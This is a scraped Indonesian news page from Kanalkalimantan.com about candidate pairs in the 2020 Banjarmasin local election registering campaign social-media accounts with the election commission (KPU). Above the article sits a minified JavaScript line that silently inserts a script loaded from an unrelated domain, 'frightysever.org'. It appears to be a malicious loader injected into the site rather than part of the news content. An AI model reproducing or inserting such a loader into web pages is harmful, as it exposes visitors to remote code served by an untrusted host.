(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Baru Paslon Haris-Ilham dan Ibnu-Arifin Daftarkan Akun Medsos ke KPU Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Pada Pilkada Banjarmasin yang diikuti oleh empat pasangan calon (paslon), dapat melaksanakan kampanye melalui media sosial (medsos). Kendati demikian, sejauh ini KPU Kota Banjarmasin baru menerima dua paslon yang mendaftarkan akun medsosnya.

“Sejauh ini baru paslon nomor urut 1 (Abdul Haris Makkie-Ilham Nor) dan nomor urut 2 (Ibnu Sina-Arifin Noor),” kata Komisioner KPU Kota Banjarmasin M. Syafrudin Akbar di Banjarmasin, Rabu (30/9/2020) siang.

Ditambahkan Komisioner KPU Kota Banjarmasin Taufiqkurrahman, paslon Haris-Ilham mendaftarkan 8 akun medsos ke KPU Kota Banjarmasin.

Sedangkan paslon Ibnu-Arifin mendaftarkan 12 akun medsos. Sehingga saat ini secara keseluruhan, ada 20 akun medsos dari 2 paslon yang telah mendaftarkan ke KPU Kota Banjarmasin. “Paling banyak paslon Ibnu Sina-Arifin, ada 12 akun medsos,” tegas Taufik -sapaan akrabnya.

Dari total 20 akun medsos yang didaftarkan oleh 2 paslon ini, terdiri dari berbagai platform seperti Facebook dan Instagram.

Sedangkan untuk iklan berbayar paslon di media massa, Taufik menyebut dapat dilakukan selama 14 hari sebelum masuk masa tenang. Terhitung dari tangga 22 November hingga 5 Desember 2020.

“Untuk pendaftaran akun medsos, paling lambat tanggal 2 Oktober. Maksimal 20 akun untuk satu paslon,” tandas Taufik.

Sementara itu, Ketua Bawaslu Kota Banjarmasin, Muhammad Yasar menambahkan, pihaknya akan melakukan pengawasan terhadap akun-akun medsos dari paslon Pilkada Banjarmasin. Namun demikian, Yasar mengingatkan, masih ada waktu tambahan 10 hari bagi paslon untuk mendaftarkan akun medsosnya ke KPU Kota Banjarmasin.

“Kalau tidak juga menyerahkan, artinya mereka tidak memiliki kesempatan untuk berkampanye di medsos,” kata Yasar.

Sedangkan akun yang tak terdaftar di KPU Kota Banjarmasin, Yasar menyebut itu sudah diluar aturan. Sehingga akun tak terdaftar itu tidak berhak mengikuti kampanye melalui media sosial. “Nanti akan kita telusuri dengan rekan-rekan kepolisian, karena kaitannya dengan cyber,” pungkas Yasar. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.